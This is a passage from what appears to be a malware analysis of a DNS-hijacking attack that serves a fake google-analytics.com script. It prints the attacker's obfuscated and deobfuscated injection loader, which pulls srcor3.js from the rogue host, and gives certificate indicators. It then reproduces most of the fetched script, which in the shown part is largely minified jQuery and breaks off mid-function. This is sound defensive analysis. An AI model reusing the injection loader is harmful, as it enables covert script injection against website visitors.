Address: 104.197.191.4

DNS request timed out.
timeout was 2 seconds.
Name: google-analytics.com
Address: 107.178.246.193

The upshot is any website with Google Analytics embedded will then tell your browser to fetch the analytics scripts. The rogue DNS server will respond with the wrong server and send you to their own content. Not a lot has been changed in the file except for the following content has been added:

eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('3 5=(&quot;4:&quot;==2.e.i?&quot;4://7.&quot;:&quot;8://9.&quot;)+&quot;a-b.c/&quot;;3 1=2.n(&quot;1&quot;);1.f=5+&quot;g.h&quot;;3 6=2.j(\'k\').l(0)||2.m;6.d(1);',24,24,'|script|document|var|https|mainOrPath|parent|ssl|http|www|google|analytics|com|appendChild|location|src|srcor3|js|protocol|getElementsByTagName|head|item|documentElement|createElement'.split('|'),0,{}))

This code basically inserts yet another script into the page of /srcor3.js hosted on the same “fake” google-analytics “DNS intercepted” server. Here is the unobfuscated code:

var mainOrPath = (&quot;https:&quot; == document.location.protocol ? &quot;https://ssl.&quot; : &quot;http://www.&quot;) + &quot;google-analytics.com/&quot;;
var script = document.createElement(&quot;script&quot;);
script.src = mainOrPath + &quot;srcor3.js&quot;;
var parent = document.getElementsByTagName('head').item(0) || document.documentElement;
parent.appendChild(script);

More about the injected script below but first I wish to highlight a few obvious flaws and pointers or possible identifiers of the malware authors.

First the fake server has an SSL certificate issued to it:

Thumbprint sha1 = ‎7a 8d a9 32 7c 9d 8b 0d 81 58 fd fb 27 5d cb 26 fb 4a 06 df
(aka. 7a8da9327c9d8b0d8158fdfb275dcb26fb4a06df)
Valid From = ‎29 ‎July ‎2015 15:49:50
Valid To = ‎28 ‎July ‎2016 15:49:50
CN = Itoimha Dafak
O = Joktait Fucpuilq Ki
L = Vuwzihceyn
S = Uhycbamfeicu
C = RU

Issued by the following (not trusted) certificate authority:

Valid From = ‎29 ‎July ‎2015 15:49:49
Valid To = ‎28 ‎July ‎2018 15:49:49
Certificate SerialNumber=00 b5 22 f9 b7 2e b9 92 f5 (aka 00b522f9b72eb992f5)
Thumbprint sha1  = ‎b4 7c 1f 7b c9 dd 77 f9 9e 1b 3c 8c c8 22 c4 4d 19 3f 72 bb
(aka. b47c1f7bc9dd77f99e1b3c8cc822c44d193f72bb)
L = Vuwzihceyn
S = Uhycbamfeicu
C = RU
O = Joktait Fucpuilq Ki
CN = Qosmabj Zitmuy

As far as I could also find – other identifiers related to this malware / attack is:
– Bitshakers2
– Bitshakers4

This code it downloads from srcor3.js looks like this (the first line seems to suggest the code was authored or last modified on 23-06-2016):


//23062016-666
! function(a, b) {
&quot;object&quot; == typeof module &amp;&amp; &quot;object&quot; == typeof module.exports ? module.exports = a.document ? b(a, !0) : function(a) {
if (!a.document) throw new Error(&quot;jQuery requires a window with a document&quot;);
return b(a)
} : b(a)
}(&quot;undefined&quot; != typeof window ? window : this, function(a, b) {
var c = [],
d = c.slice,
e = c.concat,
f = c.push,
g = c.indexOf,
h = {},
i = h.toString,
j = h.hasOwnProperty,
k = &quot;&quot;.trim,
l = {},
m = &quot;1.11.0&quot;,
n = function(a, b) {
return new n.fn.init(a, b)
},
o = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,
p = /^-ms-/,
q = /-([\da-z])/gi,
r = function(a, b) {
return b.toUpperCase()
};
n.fn = n.prototype = {
jquery: m,
constructor: n,
selector: &quot;&quot;,
length: 0,
toArray: function() {
return d.call(this)
},
get: function(a) {
return null != a ? 0 &gt; a ? this[a + this.length] : this[a] : d.call(this)
},
pushStack: function(a) {
var b = n.merge(this.constructor(), a);
return b.prevObject = this, b.context = this.context, b
},
each: function(a, b) {
return n.each(this, a, b)
},
map: function(a) {
return this.pushStack(n.map(this, function(b, c) {
return a.call(b, c, b)
}))
},
slice: function() {
return this.pushStack(d.apply(this, arguments))
},
first: function() {
return this.eq(0)
},
last: function() {
return this.eq(-1)
},
eq: function(a) {
var b = this.length,
c = +a + (0 &gt; a ? b : 0);
return this.pushStack(c &gt;= 0 &amp;&amp; b &gt; c ? [this[c]] : [])
},
end: function() {
return this.prevObject || this.constructor(null)
},
push: f,
sort: c.sort,
splice: c.splice
}, n.extend = n.fn.extend = function() {
var a, b, c, d, e, f, g = arguments[0] || {},
h = 1,
i = arguments.length,
j = !1;
for (&quot;boolean&quot; == typeof g &amp;&amp; (j = g, g = arguments[h] || {}, h++), &quot;object&quot; == typeof g || n.isFunction(g) || (g = {}), h === i &amp;&amp; (g = this, h--); i &gt; h; h++)
if (null != (e = arguments[h]))
for (d in e) a = g[d], c = e[d], g !== c &amp;&amp; (j &amp;&amp; c &amp;&amp; (n.isPlainObject(c) || (b = n.isArray(c))) ? (b ? (b = !1, f = a &amp;&amp; n.isArray(a) ? a : []) : f = a &amp;&amp; n.isPlainObject(a) ? a : {}, g[d] = n.extend(j, f, c)) : void 0 !== c &amp;&amp; (g[d] = c));
return g
}, n.extend({
expando: &quot;jQuery&quot; + (m + Math.random()).replace(/\D/g, &quot;&quot;),
isReady: !0,
error: function(a) {
throw new Error(a)
},
noop: function() {},
isFunction: function(a) {
return &quot;function&quot; === n.type(a)
},
isArray: Array.isArray || function(a) {
return &quot;array&quot; === n.type(a)
},
isWindow: function(a) {
return null != a &amp;&amp; a == a.window
},
isNumeric: function(a) {
return a - parseFloat(a) &gt;= 0
},
isEmptyObject: function(a) {
var b;
for (b in a) return !1;
return !0
},
isPlainObject: function(a) {
var b;
if (!a || &quot;object&quot; !== n.type(a) || a.nodeType || n.isWindow(a)) return !1;
try {
if (a.constructor &amp;&amp; !j.call(a, &quot;constructor&quot;) &amp;&amp; !j.call(a.constructor.prototype, &quot;isPrototypeOf&quot;)) return !1
} catch (c) {
return !1
}
if (l.ownLast)
for (b in a) return j.call(a, b);
for (b in a);
return void 0 === b || j.call(a, b)
},
type: function(a) {
return null == a ? a + &quot;&quot; : &quot;object&quot; == typeof a || &quot;function&quot; == typeof a ? h[i.call(a)] || &quot;object&quot; : typeof a
},
globalEval: function(b) {
b &amp;&amp; n.trim(b) &amp;&amp; (a.execScript || function(b) {
a.eval.call(a, b)
})(b)
},
camelCase: function(a) {
return a.replace(p, &quot;ms-&quot;).replace(q, r)
},
nodeName: function(a, b) {
return a.nodeName &amp;&amp; a.nodeName.toLowerCase() === b.toLowerCase()
},
each: function(a, b, c) {
var d, e = 0,
f = a.length,
g = s(a);
if (c) {
if (g) {
for (; f &gt; e; e++)
if (d = b.apply(a[e], c), d === !1) break
} else
for (e in a)
if (d = b.apply(a[e], c), d === !1) break
} else if (g) {
for (; f &gt; e; e++)
if (d = b.call(a[e], e, a[e]), d === !1) break
} else
for (e in a)
if (d = b.call(a[e], e, a[e]), d === !1) break; return a
},
trim: k &amp;&amp; !k.call(&quot;\ufeff\xa0&quot;) ? function(a) {
return null == a ? &quot;&quot; : k.call(a)
} : function(a) {
return null == a ? &quot;&quot; : (a + &quot;&quot;).replace(o, &quot;&quot;)
},
makeArray: function(a, b) {
var c = b || [];
return null != a &amp;&amp; (s(Object(a)) ? n.merge(c, &quot;string&quot; == typeof a ? [a] : a) : f.call(c, a)), c
},
inArray: function(a, b, c) {
var d;
if (b) {
if (g) return g.call(b, a, c);
for (d = b.length, c = c ? 0 &gt; c ? Math.max(0, d + c) : c : 0; d &gt; c; c++)
if (c in b &amp;&amp; b[c] === a) return c
}
return -1
},
merge: function(a, b) {
var c = +b.length,
d = 0,
e = a.length;
while (c &gt; d) a[e++] = b[d++];
if (c !== c)
while (void 0 !== b[d]) a[e++] = b[d++];
return a.length = e, a
},
grep: function(a, b, c) {
for (var d, e = [], f = 0, g = a.length, h = !c; g &gt; f; f++) d = !b(a[f], f), d !== h &amp;&amp; e.push(a[f]);
return e
},
map: function(a, b, c) {
var d, f = 0,
g = a.length,
h = s(a),
i = [];
if (h)
for (; g &gt; f; f++) d = b(a[f], f, c), null != d &amp;&amp; i.push(d);
else
for (f in a) d = b(a[f], f, c), null != d &amp;&amp; i.push(d);
return e.apply([], i)
},
guid: 1,
proxy: function(a, b) {
var c, e, f;
return &quot;string&quot; == typeof b &amp;&amp; (f = a[b], b = a, a = f), n.isFunction(a) ? (c = d.call(arguments, 2), e = function() {
return a.apply(b || this, c.concat(d.call(arguments)))
}, e.guid = a.guid = a.guid || n.guid++, e) : void 0
},
now: function() {
return +new Date
},
support: l
}), n.each(&quot;Boolean Number String Function Array Date RegExp Object Error&quot;.split(&quot; &quot;), function(a, b) {
h[&quot;[object &quot; + b + &quot;]&quot;] = b.toLowerCase()
});

function s(a) {
var b = a.length,
c = n.type(a);
return &quot;function&quot; === c || n.isWindow(a) ? !1 : 1 === a.nodeType &amp;&amp; b ? !0 : &quot;array&quot; === c || 0 === b || &quot;number&quot; == typeof b &amp;&amp; b &gt; 0 &amp;&amp; b - 1 in a
}
var t = function(a) {
var b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s = &quot;sizzle&quot; + -new Date,
t = a.document,
u = 0,
v = 0,
w = eb(),
x = eb(),
y = eb(),
z = function(a, b) {
return a === b &amp;&amp; (j = !0), 0
},
A = &quot;undefined&quot;,
B = 1 &lt;&lt; 31,
C = {}.hasOwnProperty,
D = [],
E = D.pop,
F = D.push,
G = D.push,
H = D.slice,
I = D.indexOf || function(a) {
for (var b = 0, c = this.length; c &gt; b; b++)
if (this[b] === a) return b;
return -1
},
J = &quot;checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped&quot;,
K = &quot;[\\x20\\t\\r\\n\\f]&quot;,
L = &quot;(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+&quot;,
M = L.replace(&quot;w&quot;, &quot;w#&quot;),
N = &quot;\\[&quot; + K + &quot;*(&quot; + L + &quot;)&quot; + K + &quot;*(?:([*^$|!~]?=)&quot; + K + &quot;*(?:(['\&quot;])((?:\\\\.|[^\\\\])*?)\\3|(&quot; + M + &quot;)|)|)&quot; + K + &quot;*\\]&quot;,
O = &quot;:(&quot; + L + &quot;)(?:\\(((['\&quot;])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|&quot; + N.replace(3, 8) + &quot;)*)|.*)\\)|)&quot;,
P = new RegExp(&quot;^&quot; + K + &quot;+|((?:^|[^\\\\])(?:\\\\.)*)&quot; + K + &quot;+$&quot;, &quot;g&quot;),
Q = new RegExp(&quot;^&quot; + K + &quot;*,&quot; + K + &quot;*&quot;),
R = new RegExp(&quot;^&quot; + K + &quot;*([&gt;+~]|&quot; + K + &quot;)&quot; + K + &quot;*&quot;),
S = new RegExp(&quot;=&quot; + K + &quot;*([^\\]'\&quot;]*?)&quot; + K + &quot;*\\]&quot;, &quot;g&quot;),
T = new RegExp(O),
U = new RegExp(&quot;^&quot; + M + &quot;$&quot;),
V = {
ID: new RegExp(&quot;^#(&quot; + L + &quot;)&quot;),
CLASS: new RegExp(&quot;^\\.(&quot; + L + &quot;)&quot;),
TAG: new RegExp(&quot;^(&quot; + L.replace(&quot;w&quot;, &quot;w*&quot;) + &quot;)&quot;),
ATTR: new RegExp(&quot;^&quot; + N),
PSEUDO: new RegExp(&quot;^&quot; + O),
CHILD: new RegExp(&quot;^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(&quot; + K + &quot;*(even|odd|(([+-]|)(\\d*)n|)&quot; + K + &quot;*(?:([+-]|)&quot; + K + &quot;*(\\d+)|))&quot; + K + &quot;*\\)|)&quot;, &quot;i&quot;),
bool: new RegExp(&quot;^(?:&quot; + J + &quot;)$&quot;, &quot;i&quot;),
needsContext: new RegExp(&quot;^&quot; + K + &quot;*[&gt;+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(&quot; + K + &quot;*((?:-\\d)?\\d*)&quot; + K + &quot;*\\)|)(?=[^-]|$)&quot;, &quot;i&quot;)
},
W = /^(?:input|select|textarea|button)$/i,
X = /^h\d$/i,
Y = /^[^{]+\{\s*\[native \w/,
Z = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,
$ = /[+~]/,
_ = /'|\\/g,
ab = new RegExp(&quot;\\\\([\\da-f]{1,6}&quot; + K + &quot;?|(&quot; + K + &quot;)|.)&quot;, &quot;ig&quot;),
bb = function(a, b, c) {
var d = &quot;0x&quot; + b - 65536;
return d !== d || c ? b : 0 &gt; d ? String.fromCharCode(d + 65536) : String.fromCharCode(d &gt;&gt; 10 | 55296, 1023 &amp; d | 56320)
};
try {
G.apply(D = H.call(t.childNodes), t.childNodes), D[t.childNodes.length].nodeType
} catch (cb) {
G = {
apply: D.length ? function(a, b) {
F.apply(a, H.call(b))
} : function(a, b) {
var c = a.length,
d = 0;
while (a[c++] = b[d++]);
a.length = c - 1
}
}
}

function db(a, b, d, e) {
var f, g, h, i, j, m, p, q, u, v;
if ((b ? b.ownerDocument || b : t) !== l &amp;&amp; k(b), b = b || l, d = d || [], !a || &quot;string&quot; != typeof a) return d;
if (1 !== (i = b.nodeType) &amp;&amp; 9 !== i) return [];
if (n &amp;&amp; !e) {
if (f = Z.exec(a))
if (h = f[1]) {
if (9 === i) {
if (g = b.getElementById(h), !g || !g.parentNode) return d;
if (g.id === h) return d.push(g), d
} else if (b.ownerDocument &amp;&amp; (g = b.ownerDocument.getElementById(h)) &amp;&amp; r(b, g) &amp;&amp; g.id === h) return d.push(g), d
} else {
if (f[2]) return G.apply(d, b.getElementsByTagName(a)), d;
if ((h = f[3]) &amp;&amp; c.getElementsByClassName &amp;&amp; b.getElementsByClassName) return G.apply(d, b.getElementsByClassName(h)), d
}
if (c.qsa &amp;&amp; (!o || !o.test(a))) {
if (q = p = s, u = b, v = 9 === i &amp;&amp; a, 1 === i &amp;&amp; &quot;object&quot; !== b.nodeName.toLowerCase()) {
m = ob(a), (p = b.getAttribute(&quot;id&quot;)) ? q = p.replace(_, &quot;\\$&amp;&quot;) : b.setAttribute(&quot;id&quot;, q), q = &quot;[id='&quot; + q + &quot;'] &quot;, j = m.length;
while (j--) m[j] = q + pb(m[j]);
u = $.test(a) &amp;&amp; mb(b.parentNode) || b, v = m.join(&quot;,&quot;)
}
if (v) try {
return G.apply(d, u.querySelectorAll(v)), d
} catch (w) {} finally {
p || b.removeAttribute(&quot;id&quot;)
}
}
}
return xb(a.replace(P, &quot;$1&quot;), b, d, e)
}

function eb() {
var a = [];

function b(c, e) {
return a.push(c + &quot; &quot;) &gt; d.cacheLength &amp;&amp; delete b[a.shift()], b[c + &quot; &quot;] = e
}
return b
}

function ba(a) {
return a[s] = !0, a
}

function gb(a) {
var b = l.createElement(&quot;div&quot;);
try {
return !!a(b)
} catch (c) {
return !1
} finally {
b.parentNode &amp;&amp; b.parentNode.removeChild(b), b = null
}
}

function hb(a, b) {
var c = a.split(&quot;|&quot;),
e = a.length;
while (e--) d.attrHandle[c[e]] = b
}

function ib(a, b) {
var c = b &amp;&amp; a,
d = c &amp;&amp; 1 === a.nodeType &amp;&amp; 1 === b.nodeType &amp;&amp; (~b.sourceIndex || B) - (~a.sourceIndex || B);
if (d) return d;
if (c)
while (c = c.nextSibling)
if (c === b) return -1;
return a ? 1 : -1
}

function jb(a) {
return function(b) {
var c = b.nodeName.toLowerCase();
return &quot;input&quot; === c &amp;&amp; b.type === a
}
}

function kb(a) {
return function(b) {
var c = b.nodeName.toLowerCase();
return (&quot;input&quot; === c || &quot;button&quot; === c) &amp;&amp; b.type === a
}
}

function lb(a) {
return ba(function(b) {
return b = +b, ba(function(c, d) {
var e, f = a([], c.length, b),
g = f.length;
while (g--) c[e = f[g]] &amp;&amp; (c[e] = !(d[e] = c[e]))
})
})
}

function mb(a) {
return a &amp;&amp; typeof a.getElementsByTagName !== A &amp;&amp; a
}
c = db.support = {}, f = db.isXML = function(a) {
var b = a &amp;&amp; (a.ownerDocument || a).documentElement;
return b ? &quot;HTML&quot; !== b.nodeName : !1
}, k = db.setDocument = function(a) {
var b, e = a ? a.ownerDocument || a : t,
g = e.defaultView;
return e !== l &amp;&amp; 9 === e.nodeType &amp;&amp; e.documentElement ? (l = e, m = e.documentElement, n = !f(e), g &amp;&amp; g !== g.top &amp;&amp; (g.addEventListener ? g.addEventListener(&quot;unload&quot;, function() {
k()
}, !1) : g.attachEvent &amp;&amp; g.attachEvent(&quot;onunload&quot;, function() {
k()
})), c.attributes = gb(function(a) {
return a.className = &quot;i&quot;, !a.getAttribute(&quot;className&quot;)
}), c.getElementsByTagName = gb(function(a) {
return a.appendChild(e.createComment(&quot;&quot;)), !a.getElementsByTagName(&quot;*&quot;).length
}), c.getElementsByClassName = Y.test(e.getElementsByClassName) &amp;&amp; gb(function(a) {
return a.innerHTML = &quot;
&lt;div class='a'&gt;&lt;/div&gt;
&lt;div class='a i'&gt;&lt;/div&gt;
&quot;, a.firstChild.className = &quot;i&quot;, 2 === a.getElementsByClassName(&quot;i&quot;).length
}), c.getById = gb(function(a) {
return m.appendChild(a).id = s, !e.getElementsByName || !e.getElementsByName(s).length
}), c.getById ? (d.find.ID = function(a, b) {
if (typeof b.getElementById !== A &amp;&amp; n) {
var c = b.getElementById(a);
return c &amp;&amp; c.parentNode ? [c] : []
}
}, d.filter.ID = function(a) {
var b = a.replace(ab, bb);
return function(a) {
return a.getAttribute(&quot;id&quot;) === b
}
}) : (delete d.find.ID, d.filter.ID = function(a) {
var b = a.replace(ab, bb);
return function(a) {
var c = typeof a.getAttributeNode !== A &amp;&amp; a.getAttributeNode(&quot;id&quot;);
return c &amp;&amp; c.value === b
}
}), d.find.TAG = c.getElementsByTagName ? function(a, b) {
return typeof b.getElementsByTagName !== A ? b.getElementsByTagName(a) : void 0
} : function(a, b) {
var c, d = [],
e = 0,
f = b.getElementsByTagName(a);
if (&quot;*&quot; === a) {
while (c = f[e++]) 1 === c.nodeType &amp;&amp; d.push(c);
return d
}
return f
}, d.find.CLASS = c.getElementsByClassName &amp;&amp; function(a, b) {
return typeof b.getElementsByClassName !== A &amp;&amp; n ? b.getElementsByClassName(a) : void 0
}, p = [], o = [], (c.qsa = Y.test(e.querySelectorAll)) &amp;&amp; (gb(function(a) {
a.innerHTML = &quot;&lt;select t=''&gt;
&lt;option selected=''&gt;&lt;/option&gt;
&lt;/select&gt;&quot;, a.querySelectorAll(&quot;[t^='']&quot;).length &amp;&amp; o.push(&quot;[*^$]=&quot; + K + &quot;*(?:''|\&quot;\&quot;)&quot;), a.querySelectorAll(&quot;[selected]&quot;).length || o.push(&quot;\\[&quot; + K + &quot;*(?:value|&quot; + J + &quot;)&quot;), a.querySelectorAll(&quot;:checked&quot;).length || o.push(&quot;:checked&quot;)
}), gb(function(a) {
var b = e.createElement(&quot;input&quot;);
b.setAttribute(&quot;type&quot;, &quot;hidden&quot;), a.appendChild(b).setAttribute(&quot;name&quot;, &quot;D&quot;), a.querySelectorAll(&quot;[name=d]&quot;).length &amp;&amp; o.push(&quot;name&quot; + K + &quot;*[*^$|!~]?=&quot;), a.querySelectorAll(&quot;:enabled&quot;).length || o.push(&quot;:enabled&quot;, &quot;:disabled&quot;), a.querySelectorAll(&quot;*,:x&quot;), o.push(&quot;,.*:&quot;)
})), (c.matchesSelector = Y.test(q = m.webkitMatchesSelector || m.mozMatchesSelector || m.oMatchesSelector || m.msMatchesSelector)) &amp;&amp; gb(function(a) {
c.disconnectedMatch = q.call(a, &quot;div&quot;), q.call(a, &quot;[s!='']:x&quot;), p.push(&quot;!=&quot;, O)
}), o = o.length &amp;&amp; new RegExp(o.join(&quot;|&quot;)), p = p.length &amp;&amp; new RegExp(p.join(&quot;|&quot;)), b = Y.test(m.compareDocumentPosition), r = b || Y.test(m.contains) ? function(a, b) {
var c = 9 === a.nodeType ? a.documentElement : a,
d = b &amp;&amp; b.parentNode;
return a === d || !(!d || 1 !== d.nodeType || !(c.contains ? c.contains(d) : a.compareDocumentPosition &amp;&amp; 16 &amp; a.compareDocumentPosition(d)))
} : function(a, b) {
if (b)
while (b = b.parentNode)
if (b === a) return !0;
return !1
}, z = b ? function(a, b) {
if (a === b) return j = !0, 0;
var d = !a.compareDocumentPosition - !b.compareDocumentPosition;
return d ? d : (d = (a.ownerDocument || a) === (b.ownerDocument || b) ? a.compareDocumentPosition(b) : 1, 1 &amp; d || !c.sortDetached &amp;&amp; b.compareDocumentPosition(a) === d ? a === e || a.ownerDocument === t &amp;&amp; r(t, a) ? -1 : b === e || b.ownerDocument === t &amp;&amp; r(t, b) ? 1 : i ? I.call(i, a) - I.call(i, b) : 0 : 4 &amp; d ? -1 : 1)
} : function(a, b) {
if (a === b) return j = !0, 0;
var c, d = 0,
f = a.parentNode,
g = b.parentNode,
h = [a],
k = [b];
if (!f || !g) return a === e ? -1 : b === e ? 1 : f ? -1 : g ? 1 : i ? I.call(i, a) - I.call(i, b) : 0;
if (f === g) return ib(a, b);
c = a;
while (c = c.parentNode) h.unshift(c);
c = b;
while (c = c.parentNode) k.unshift(c);
while (h[d] === k[d]) d++;
return d ? ib(h[d], k[d]) : h[d] === t ? -1 : k[d] === t ? 1 : 0
}, e) : l
}, db.matches = function(a, b) {
return db(a, null, null, b)
}, db.matchesSelector = function(a, b) {
if ((a.ownerDocument || a) !== l &amp;&amp; k(a), b = b.replace(S, &quot;='$1']&quot;), !(!c.matchesSelector || !n || p &amp;&amp; p.test(b) || o &amp;&amp; o.test(b))) try {
var d = q.call(a, b);
if (d || c.disconnectedMatch || a.document &amp;&amp; 11 !== a.document.nodeType) return d
} catch (e) {}
return db(b, l, null, [a]).length &gt; 0
}, db.contains = function(a, b) {
return (a.ownerDocument || a) !== l &amp;&amp; k(a), r(a, b)
}, db.attr = function(a, b) {
(a.ownerDocument || a) !== l &amp;&amp; k(a);
var e = d.attrHandle[b.toLowerCase()],
f = e &amp;&amp; C.call(d.attrHandle, b.toLowerCase()) ? e(a, b, !n) : void 0;
return void 0 !== f ? f : c.attributes || !n ? a.getAttribute(b) : (f = a.getAttributeNode(b)) &amp;&amp; f.specified ? f.value : null
}, db.error = function(a) {
throw new Error(&quot;Syntax error, unrecognized expression: &quot; + a)
}, db.uniqueSort = function(a) {
var b, d = [],
e = 0,
f = 0;
if (j = !c.detectDuplicates, i = !c.sortStable &amp;&amp; a.slice(0), a.sort(z), j) {
while (b = a[f++]) b === a[f] &amp;&amp; (e = d.push(f));
while (e--) a.splice(d[e], 1)
}
return i = null, a
}, e = db.getText = function(a) {
var b, c = &quot;&quot;,
d = 0,
f = a.nodeType;
if (f) {
if (1 === f || 9 === f || 11 === f) {
if (&quot;string&quot; == typeof a.textContent) return a.textContent;
for (a = a.firstChild; a; a = a.nextSibling) c += e(a)
} else if (3 === f || 4 === f) return a.nodeValue
} else
while (b = a[d++]) c += e(b);
return c
}, d = db.selectors = {
cacheLength: 50,
createPseudo: ba,
match: V,
attrHandle: {},
find: {},
relative: {
&quot;&gt;&quot;: {
dir: &quot;parentNode&quot;,
first: !0
},
&quot; &quot;: {
dir: &quot;parentNode&quot;
},
&quot;+&quot;: {
dir: &quot;previousSibling&quot;,
first: !0
},
&quot;~&quot;: {
dir: &quot;previousSibling&quot;
}
},
preFilter: {
ATTR: function(a) {
return a[1] = a[1].replace(ab, bb), a[3] = (a[4] || a[5] || &quot;&quot;).replace(ab, bb), &quot;~=&quot; === a[2] &amp;&amp; (a[3] = &quot; &quot; + a[3] + &quot; &quot;), a.slice(0, 4)
},
CHILD: function(a) {
return a[1] = a[1].toLowerCase(), &quot;nth&quot; === a[1].slice(0, 3) ? (a[3] || db.error(a[0]), a[4] = +(a[4] ? a[5] + (a[6] || 1) : 2 * (&quot;even&quot; === a[3] || &quot;odd&quot; === a[3])), a[5] = +(a[7] + a[8] || &quot;odd&quot; === a[3])) : a[3] &amp;&amp; db.error(a[0]), a
},
PSEUDO: function(a) {
var b, c = !a[5] &amp;&amp; a[2];
return V.CHILD.test(a[0]) ? null : (a[3] &amp;&amp; void 0 !== a[4] ? a[2] = a[4] : c &amp;&amp; T.test(c) &amp;&amp; (b = ob(c, !0)) &amp;&amp; (b = c.indexOf(&quot;)&quot;, c.length - b) - c.length) &amp;&amp; (a[0] = a[0].slice(0, b), a[2] = c.slice(0, b)), a.slice(0, 3))
}
},
filter: {
TAG: function(a) {
var b = a.replace(ab, bb).toLowerCase();
return &quot;*&quot; === a ? function() {
return !0
} : function(a) {
return a.nodeName &amp;&amp; a.nodeName.toLowerCase() === b
}
},
CLASS: function(a) {
var b = w[a + &quot; &quot;];
return b || (b = new RegExp(&quot;(^|&quot; + K + &quot;)&quot; + a + &quot;(&quot; + K + &quot;|$)&quot;)) &amp;&amp; w(a, function(a) {
return b.test(&quot;string&quot; == typeof a.className &amp;&amp; a.className || typeof a.getAttribute !== A &amp;&amp; a.getAttribute(&quot;class&quot;) || &quot;&quot;)
})
},
ATTR: function(a, b, c) {
return function(d) {
var e = db.attr(d, a);
return null == e ? &quot;!=&quot; === b : b ? (e += &quot;&quot;, &quot;=&quot; === b ? e === c : &quot;!=&quot; === b ? e !== c : &quot;^=&quot; === b ? c &amp;&amp; 0 === e.indexOf(c) : &quot;*=&quot; === b ? c &amp;&amp; e.indexOf(c) &gt; -1 : &quot;$=&quot; === b ? c &amp;&amp; e.slice(-c.length) === c : &quot;~=&quot; === b ? (&quot; &quot; + e + &quot; &quot;).indexOf(c) &gt; -1 : &quot;|=&quot; === b ? e === c || e.slice(0, c.length + 1) === c + &quot;-&quot; : !1) : !0
}
},
CHILD: function(a, b, c, d, e) {
var f = &quot;nth&quot; !== a.slice(0, 3),
g = &quot;last&quot; !== a.slice(-4),
h = &quot;of-type&quot; === b;
return 1 === d &amp;&amp; 0 === e ? function(a) {
return !!a.parentNode
} : function(b, c, i) {
var j, k, l, m, n, o, p = f !== g ? &quot;nextSibling&quot; : &quot;previousSibling&quot;,
q = b.parentNode,
r = h &amp;&amp; b.nodeName.toLowerCase(),
t = !i &amp;&amp; !h;
if (q) {
if (f) {
while (p) {
l = b;
while (l = l[p])
if (h ? l.nodeName.toLowerCase() === r : 1 === l.nodeType) return !1;
o = p = &quot;only&quot; === a &amp;&amp; !o &amp;&amp; &quot;nextSibling&quot;
}
return !0
}
if (o = [g ? q.firstChild : q.lastChild], g &amp;&amp; t) {
k = q[s] || (q[s] = {}), j = k[a] || [], n = j[0] === u &amp;&amp; j[1], m = j[0] === u &amp;&amp; j[2], l = n &amp;&amp; q.childNodes[n];
while (l = ++n &amp;&amp; l &amp;&amp; l[p] || (m = n = 0) || o.pop())
if (1 === l.nodeType &amp;&amp; ++m &amp;&amp; l === b) {
k[a] = [u, n, m];
break
}
} else if (t &amp;&amp; (j = (b[s] || (b[s] = {}))[a]) &amp;&amp; j[0] === u) m = j[1];
else
while (l = ++n &amp;&amp; l &amp;&amp; l[p] || (m = n = 0) || o.pop())
if ((h ? l.nodeName.toLowerCase() === r : 1 === l.nodeType) &amp;&amp; ++m &amp;&amp; (t &amp;&amp; ((l[s] || (l[s] = {}))[a] = [u, m]), l === b)) break; return m -= e, m === d || m % d === 0 &amp;&amp; m / d &gt;= 0
}
}
},
PSEUDO: function(a, b) {
var c, e = d.pseudos[a] || d.setFilters[a.toLowerCase()] || db.error(&quot;unsupported pseudo: &quot; + a);
return e[s] ? e(b) : e.length &gt; 1 ? (c = [a, a, &quot;&quot;, b], d.setFilters.hasOwnProperty(a.toLowerCase()) ? ba(function(a, c) {
var d, f = e(a, b),
g = f.length;
while (g--) d = I.call(a, f[g]), a[d] = !(c[d] = f[g])
}) : function(a) {
return e(a, 0, c)
}) : e
}
},
pseudos: {
not: ba(function(a) {
var b = [],
c = [],
d = g(a.replace(P, &quot;$1&quot;));
return d[s] ? ba(function(a, b, c, e) {
var f, g = d(a, null, e, []),
h = a.length;
while (h--)(f = g[h]) &amp;&amp; (a[h] = !(b[h] = f))
}) : function(a, e, f) {
return b[0] = a, d(b, null, f, c), !c.pop()
}
}),
has: ba(function(a) {
return function(b) {
return db(a, b).length &gt; 0
}
}),
contains: ba(function(a) {
return function(b) {
return (b.textContent || b.innerText || e(b)).indexOf(a) &gt; -1
}
}),
lang: ba(function(a) {
return U.test(a || &quot;&quot;) || db.error(&quot;unsupported lang: &quot; + a), a = a.replace(ab, bb).toLowerCase(),
function(b) {
var c;
do
if (c = n ? b.lang : b.getAttribute(&quot;xml:lang&quot;) || b.getAttribute(&quot;lang&quot;)) return c = c.toLowerCase(), c === a || 0 === c.indexOf(a + &quot;-&quot;);
while ((b = b.parentNode) &amp;&amp; 1 === b.nodeType);
return !1
}
}),
target: function(b) {
var c = a.location &amp;&amp; a.location.hash;
return c &amp;&amp; c.slice(1) === b.id
},
root: function(a) {
return a === m
},
focus: function(a) {
return a === l.activeElement &amp;&amp; (!l.hasFocus || l.hasFocus()) &amp;&amp; !!(a.type || a.href || ~a.tabIndex)
},
enabled: function(a) {
return a.disabled === !1
},
disabled: function(a) {
return a.disabled === !0
},
checked: function(a) {
var b = a.nodeName.toLowerCase();
return &quot;input&quot; === b &amp;&amp; !!a.checked || &quot;option&quot; === b &amp;&amp; !!a.selected
},
selected: function(a) {
return a.parentNode &amp;&amp; a.parentNode.selectedIndex, a.selected === !0
},
empty: function(a) {
for (a = a.firstChild; a; a = a.nextSibling)
if (a.nodeType &lt; 6) return !1;
return !0
},
parent: function(a) {
return !d.pseudos.empty(a)
},
header: function(a) {
return X.test(a.nodeName)
},
input: function(a) {
return W.test(a.nodeName)
},
button: function(a) {
var b = a.nodeName.toLowerCase();
return &quot;input&quot; === b &amp;&amp; &quot;button&quot; === a.type || &quot;button&quot; === b
},
text: function(a) {
var b;
